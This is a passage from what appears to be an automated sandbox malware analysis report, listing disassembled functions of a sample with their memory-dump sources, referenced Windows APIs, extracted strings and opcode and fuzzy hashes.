Instruction Fuzzy Hash: 4491B274E00218CFDB58DFA9D994A9DBBF2FF89300F1490AAD419AB355DB315982CF11

Uniqueness

Uniqueness Score: -1.00%

Function 06CBBE61 Relevance: 2.7, Strings: 2, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

v, xrefs: 06CBBEF0
1, xrefs: 06CBBF09

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: 1$v
API String ID: 0-2456183578
Opcode ID: 7fe17e1d46c626b89982b504c17cbfb44e191850b0f2094d29178d1b9d905c77
Instruction ID: 482320c1d038cfaf6d3ce11f3b0cd2c5ccab4f8624eda54513b07c7a79a7ebac
Opcode Fuzzy Hash: 7fe17e1d46c626b89982b504c17cbfb44e191850b0f2094d29178d1b9d905c77
Instruction Fuzzy Hash: 9A91B074E00218CFDB58CFA9D994AADBBB2FF89300F1490AAD419AB355DB319981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06CBA338 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd9d60ae57809db85a40485b0195b3b94820ca5bdcb703c100b183077a23fd76
Instruction ID: 021aeb2f35acd04862849895d33811299711f59fb81e7a7b634d904e8c591bc2
Opcode Fuzzy Hash: cd9d60ae57809db85a40485b0195b3b94820ca5bdcb703c100b183077a23fd76
Instruction Fuzzy Hash: 7BE1C374E01218CFDB54DFA9C884A9DFBB2FF48310F2492A9D449A7355DB30A986CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06CBE340 Relevance: 5.5, Strings: 4, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 06CBE5AC
`, xrefs: 06CBE485
Hbq, xrefs: 06CBE710
Hbq, xrefs: 06CBE51A

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$`
API String ID: 0-4250499658
Opcode ID: 0ae1fd6e0c642beac1e398848354ff9866d62f6da5559f57632d2fd33f8a0aef
Instruction ID: 2715a97dc1540b980e9cdb2be291a99a60fd1b68af47c14bf5bad025d40d9869
Opcode Fuzzy Hash: 0ae1fd6e0c642beac1e398848354ff9866d62f6da5559f57632d2fd33f8a0aef
Instruction Fuzzy Hash: A6228274A002188FDB54DFA9C984B9DBBF2FF48301F1095A9D509AB365D730AE86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CBE330 Relevance: 4.1, Strings: 3, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 06CBE485
Hbq, xrefs: 06CBE710
Hbq, xrefs: 06CBE51A

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$`
API String ID: 0-1535830117
Opcode ID: 413776cb04be676c686bbc4ddbe94302cd4c11c291c9d55fe04ec0df3fb12e83
Instruction ID: 0f73585b4f085f03d97f4e3a891a714982a0f37d3cb4ab3f7304680861f6428a
Opcode Fuzzy Hash: 413776cb04be676c686bbc4ddbe94302cd4c11c291c9d55fe04ec0df3fb12e83
Instruction Fuzzy Hash: F5F18074E012198FDB54DFA9C984B9DBBF2BF48300F2095A9D509AB365D730AE86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC8A0 Relevance: 2.7, Strings: 2, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&^q, xrefs: 06CBC9BB
(bq, xrefs: 06CBCA7A

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: (&^q$(bq
API String ID: 0-1294341849
Opcode ID: 3248f149b0e68e27df86ba05bb5e5dd0ce32433e346098b01075e1beffeaa6e0
Instruction ID: 17ce2fcb2d7b852a2bb022c15f08942f61cb80fcee2e58a50a7e6da528d29ea8
Opcode Fuzzy Hash: 3248f149b0e68e27df86ba05bb5e5dd0ce32433e346098b01075e1beffeaa6e0
Instruction Fuzzy Hash: 84719F31F002599BCB55EFB9C8506EEBBB2AFC8740F148569D406AB380DF34AD06CB95

Uniqueness

Uniqueness Score: -1.00%

Function 030CAE30 Relevance: 1.7, APIs: 1, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CB086

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 54f29e18120fb8095cbfd31503239879e8019877deaf92490ae8cf0e2a26e3c1
Instruction ID: 97752b2ece137b677543f44c42d330b36614d0493487cf5731fda74b18d7e419
Opcode Fuzzy Hash: 54f29e18120fb8095cbfd31503239879e8019877deaf92490ae8cf0e2a26e3c1
Instruction Fuzzy Hash: 328178B0A11B498FDB64DF69D04479ABBF1FF88304F04896DD08ADBA50D775E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 030C5935 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 030C59F1

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c33bc152aea72c7d667d9ddf4fa0df754bfaa51c244a2de3885b80dfc57790a6
Instruction ID: 029c81eaa8d9d1414361746bfc7fa7bccce6440bcb7e34f51fd464db3d32bb30
Opcode Fuzzy Hash: c33bc152aea72c7d667d9ddf4fa0df754bfaa51c244a2de3885b80dfc57790a6
Instruction Fuzzy Hash: 5E41F1B0C00659CEDB24CFAAC884BDDBBF5FF49314F2480AAD408AB255DB756985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 030C4248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 030C59F1

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8cf83e0b553b0dcbb70b6341ee384367a70aa00e3f105b6fde8c2495e224cbc4
Instruction ID: d9ee2ae511f69a404c0d28e8c52689b3ba730eaa3ccc824f28a94765514200a6
Opcode Fuzzy Hash: 8cf83e0b553b0dcbb70b6341ee384367a70aa00e3f105b6fde8c2495e224cbc4
Instruction Fuzzy Hash: 0641F2B0C00659CFDB24CFAAC884B8EBBF5FF49304F24806AD408AB251DB756985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 096AA828 Relevance: 1.6, APIs: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 096AA7F5

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 261a94801ef085682a2334dac6769ebb3614ac03079ab010c608646d593c8ced
Instruction ID: a18b04dfecb15d655a684fb2d6d8615c4cb15101e6b85e7dfd6fd1d6adf3c098
Opcode Fuzzy Hash: 261a94801ef085682a2334dac6769ebb3614ac03079ab010c608646d593c8ced
Instruction Fuzzy Hash: A821CD36E002188BDB20DFE9D5097EEBBF6AF84320F54811AE441B7394CB799D41CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 030CC9A0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD2C6,?,?,?,?,?), ref: 030CD387

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f16f697d9c574e809297d6dd8137189acf0f78574704f2908ce840fb3af7e9c9
Instruction ID: 4683a1694de24656a7d9090bdcd11daf286d16e7e25f6f764c84578c02fcfcfe
Opcode Fuzzy Hash: f16f697d9c574e809297d6dd8137189acf0f78574704f2908ce840fb3af7e9c9
Instruction Fuzzy Hash: 6B21E4B5901248DFDB10CF9AD984ADEFBF4FB48310F14842AE958A7350D374A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CD2F9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,030CD2C6,?,?,?,?,?), ref: 030CD387

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 934182434d858e3c8a1e9e2ac8d4b999dc38b4b64a2adfab9ddecf746d0aefdf
Instruction ID: d12ebb0fe4758645a3405b3b18ebeec9ed5ea5acdb6184aed2c6271b2ccc295e
Opcode Fuzzy Hash: 934182434d858e3c8a1e9e2ac8d4b999dc38b4b64a2adfab9ddecf746d0aefdf
Instruction Fuzzy Hash: 0721E3B59012589FDB10CF9AD984ADEFBF5EB48320F14802AE958B3250D374A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CA870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CB101,00000800,00000000,00000000), ref: 030CB312

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 542633bbb807931dd9e76e277963ffa5c201913ea0288522e7e4df382143baa4
Instruction ID: f7a44ab74a310b761280133fbf55354031f6ff170c410cd4ab709e7fb4da7f69
Opcode Fuzzy Hash: 542633bbb807931dd9e76e277963ffa5c201913ea0288522e7e4df382143baa4
Instruction Fuzzy Hash: 2D1126B6D013498FDB10CF9AC444ADEFBF4EB48310F14842EE819A7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CB2A0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030CB101,00000800,00000000,00000000), ref: 030CB312

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8d263e72561ae5bda5f6d31d88270a53baa779314ff12f0a5652aa0c50954483
Instruction ID: 21d43a05706a463e63dc323faa51b9b8bb466f1fb1dd98f4311043bd1198c3cf
Opcode Fuzzy Hash: 8d263e72561ae5bda5f6d31d88270a53baa779314ff12f0a5652aa0c50954483
Instruction Fuzzy Hash: 9E1114B69002888FDB10CFAAD484AEEFBF4EB48320F14842ED859A7211C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 030CB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030CB086

Memory Dump Source

Source File: 0000000F.00000002.1904837543.00000000030C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_30c0000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1e33ef57c5b05972314f8631e7ebd6615aa31b2aaa4fa3624e60ceb7a251bd9d
Instruction ID: a856f99a17dd1fc6d4436012bda5c14d197836a7463553efb52642b643ebefa5
Opcode Fuzzy Hash: 1e33ef57c5b05972314f8631e7ebd6615aa31b2aaa4fa3624e60ceb7a251bd9d
Instruction Fuzzy Hash: A311E0B5D013498FDB20DF9AD444ADEFBF4AB88324F24842ED869B7210C375A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 096A62B0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 096AA7F5

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3064e6977d3a56428f4202d5e17e00f91057e22783a7cb7f346030792dfef9f8
Instruction ID: 1c8e7971a107ede8d559327024647bd6b7983a3cd625d39056fd14019042e51a
Opcode Fuzzy Hash: 3064e6977d3a56428f4202d5e17e00f91057e22783a7cb7f346030792dfef9f8
Instruction Fuzzy Hash: 6E11F5B5800348DFDB10DF99C484BDEBBF8EB48324F10845AE558A7250C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 096AA791 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 096AA7F5

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 82a17ca6cd125bf97f58be2c36c3f17a22ca3b085e60f91866455a661bc4e597
Instruction ID: 1810e17ff407160b62ce43c482c93f86122435e0e7db63d8ba1ad8316b9572af
Opcode Fuzzy Hash: 82a17ca6cd125bf97f58be2c36c3f17a22ca3b085e60f91866455a661bc4e597
Instruction Fuzzy Hash: 1611F2B58002489FDB20CF99D484BDEBFF4EB48324F20845AE458A7210C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CBDA62 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

+k^, xrefs: 06CBDA71

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: +k^
API String ID: 0-4099995976
Opcode ID: f2d1cc5b1ac330c03508c1f408df1db238b435b316c41f084bf7257833ebf684
Instruction ID: 752cbc84830f9c914ebeb693d4a5ae83304716d8e220bbef0e5b5181e636c795
Opcode Fuzzy Hash: f2d1cc5b1ac330c03508c1f408df1db238b435b316c41f084bf7257833ebf684
Instruction Fuzzy Hash: 00712674E053489FCB05DFA9D89499DBBB2FF89310F1481AAE805AB365DB346845CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06CBEA78 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

Hbq, xrefs: 06CBEB75

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 943f8e23592a9bda32b6e1c31c46bf52d59593b4f71229205ac6977f8daea55d
Instruction ID: b4cf5188b5b37ac597dd216eff2dcbbaa13c85068ae68e52efae8f3e1f6fafa7
Opcode Fuzzy Hash: 943f8e23592a9bda32b6e1c31c46bf52d59593b4f71229205ac6977f8daea55d
Instruction Fuzzy Hash: E1413874E012099FCB44DFA8D584AEEBFB1FF89350F10816AE505AB360C7749A41CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CBEAD7 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

Hbq, xrefs: 06CBEB75

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 3927a59b4dc090ae0b412ef2d760c8939c612a9270be5f0d10af1be4508ddb93
Instruction ID: 9036ec2e9647ec318bef4cd20382f0a0eddf23fef781e4cc14fc273114c7f30f
Opcode Fuzzy Hash: 3927a59b4dc090ae0b412ef2d760c8939c612a9270be5f0d10af1be4508ddb93
Instruction Fuzzy Hash: 02413B74E002599FCB44DFA8D444AEEBFB1FF89350F10856AE505AB351C7349A81CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CBEAE8 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Hbq, xrefs: 06CBEB75

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 630544cfe042fc5b6448c2d47864f825539ecad363a33b3409b5cc195950bf8d
Instruction ID: ae4e7766550308f8a44d64bbe12adffeb7e63556d41da78fa75ce602a1ec6c8b
Opcode Fuzzy Hash: 630544cfe042fc5b6448c2d47864f825539ecad363a33b3409b5cc195950bf8d
Instruction Fuzzy Hash: DA41FA74E00219DFCB44DFA8D594AEEBBB2FF88351F108569E505AB350DB349A41CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CBEAA8 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Hbq, xrefs: 06CBEB75

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 2c9755e6e64fd3f966a5562e910fd677d133da7decc3a7935cd50e0dff7fe927
Instruction ID: c1cb40c54b36d7b802ea453fbb561bf9f8c37fb0ff0589646f28fd0062ddca57
Opcode Fuzzy Hash: 2c9755e6e64fd3f966a5562e910fd677d133da7decc3a7935cd50e0dff7fe927
Instruction Fuzzy Hash: 93413774E052489FCB41DFA8D4809EDBFB1FF89340F1081AAE505AB361C7349A41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CBF310 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4398c85f9d00ec4cdbd8814ca8e806d1ccfb11df4aaa993864bc1fd584b6c2e9
Instruction ID: 489a6ab7b012b6f1cc79264fdff8b410b41e444c80480f970ea9f9924a49498a
Opcode Fuzzy Hash: 4398c85f9d00ec4cdbd8814ca8e806d1ccfb11df4aaa993864bc1fd584b6c2e9
Instruction Fuzzy Hash: 01513471E012189FCB04DFA8D848AEEBBB2FF99304F149159D515A7391CB389A45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CBDAF8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c18a5e2deba4a6490867fb109c73459eecb2ca8d075c0206830ffece5232ff
Instruction ID: 33608c41d82a0b8ca3dff97c62118ac4a09c0df71b53ca2f8227ddcea420ebc9
Opcode Fuzzy Hash: 83c18a5e2deba4a6490867fb109c73459eecb2ca8d075c0206830ffece5232ff
Instruction Fuzzy Hash: 8B51A574E00218DFCB48DFA9D99499DBBB2FF88311F108169E905AB364DB31AC46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06CBF320 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76b18d326d615474c446e52132cb7052d752e7b5e4929ed39ad9c86d911bd326
Instruction ID: 9c629618120f9b320342c2856bbcf28557cd13115546246ba5b9200c8b0c568c
Opcode Fuzzy Hash: 76b18d326d615474c446e52132cb7052d752e7b5e4929ed39ad9c86d911bd326
Instruction Fuzzy Hash: 5D510771E002199FDB04DFA8D858AEEBBB2FF98301F109519D515B7391CB389A45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC890 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b51720aa7915b5d19a9777c296f6d4e8ad01c53c5d0a37980ae318e9202442f0
Instruction ID: 748a97c0d542f7ce7e8ba41e641620f0dd674563c7ee4fa0fc1a41b8efb0a915
Opcode Fuzzy Hash: b51720aa7915b5d19a9777c296f6d4e8ad01c53c5d0a37980ae318e9202442f0
Instruction Fuzzy Hash: C1412E31E002199BDB54DFA5C890AEEFBF2AF88700F14912AE455B7340DB70AE46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CBB920 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86e0ef7319bf84a272e59edc47ef5fe3fbe30841dacae8cb54f2d1cab89537af
Instruction ID: c2e87aafe00f68a66185acd8443998cdb24885dbe49931d180c91a9ad87fdcd2
Opcode Fuzzy Hash: 86e0ef7319bf84a272e59edc47ef5fe3fbe30841dacae8cb54f2d1cab89537af
Instruction Fuzzy Hash: A3217C31F042989FC744ABB998507AEBBBAEFC1750F24456AD118CB354CE309C05C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 02F9D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1904198766.0000000002F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f9d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f18c8985f57630dcaa11f363b8bf663819ae39e42ccfa04c8af421e2fcd700f
Instruction ID: 708574c76ca0f5f289816442f2ce8e889b285dbf7db01c6fa4457771c26699f7
Opcode Fuzzy Hash: 8f18c8985f57630dcaa11f363b8bf663819ae39e42ccfa04c8af421e2fcd700f
Instruction Fuzzy Hash: CB21F271A04200DFEF14EF24D984B26BBA5FB84B54F30C569DA4A4B26AC33AD447CA61

Uniqueness

Uniqueness Score: -1.00%

Function 06CBCA80 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b8c6c14d9f16ef01b0bbba4d1c88af76d578dfaeb36ead7a4f4c38b49a800a8
Instruction ID: 4bd2f9adf646685e074489c2bef47fbff41483afe49801fa88ce50eea565698c
Opcode Fuzzy Hash: 4b8c6c14d9f16ef01b0bbba4d1c88af76d578dfaeb36ead7a4f4c38b49a800a8
Instruction Fuzzy Hash: 011104317082942FCB46AFB898245BE3FA7EFC5240B15446EE506DB392DF344D1687AA

Uniqueness

Uniqueness Score: -1.00%

Function 02F9D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1904198766.0000000002F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f9d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3de0d5199c7e87431775c4af52b07286fca5f0f9f3469d49a6718e8d3d8311cf
Instruction ID: 607ff1d6e8a2f5af5793d2eecd7fc7c6ca45f227f835b439f4e3657198227c5a
Opcode Fuzzy Hash: 3de0d5199c7e87431775c4af52b07286fca5f0f9f3469d49a6718e8d3d8311cf
Instruction Fuzzy Hash: 9821A1755093C08FDB02DF24D994715BF71EF46214F28C5EAD9498F2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 06CBD398 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb911a1fea95e88d2ca9ac5c123cdaf5ace77773866c9ef5b1a7798c4949375
Instruction ID: 4fe8bbbcf9e9ea29f8ff9b89e23a62a24b94fc72730e7646f52e7a83e5504b96
Opcode Fuzzy Hash: 1eb911a1fea95e88d2ca9ac5c123cdaf5ace77773866c9ef5b1a7798c4949375
Instruction Fuzzy Hash: 98219770A00B058FD774DF29D94469ABBF0BF44260F109A2D94AB97A90DB70F645CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC1F0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb4e1f46d151739f2df971b8a6396d4eb9e589ed096e610aae3860cc0b51e9a
Instruction ID: e316fcff6c769d4ee3e29e2db6675081f76e7bd5be2106c5bd723f0a45da78d7
Opcode Fuzzy Hash: beb4e1f46d151739f2df971b8a6396d4eb9e589ed096e610aae3860cc0b51e9a
Instruction Fuzzy Hash: 28110274D05218DFDB04CFAAE9487EDFBF6AF89311F10A02AE414B3290DB744A45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC710 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6556436d0e6ac045e4fc01b8ae75a9cb6417e7bda75abec91cf902bd17eb718e
Instruction ID: 2a7937c8a5527d1ab8f9eebef869aeef1e77a53c9b8a63cb895a6c38630772f9
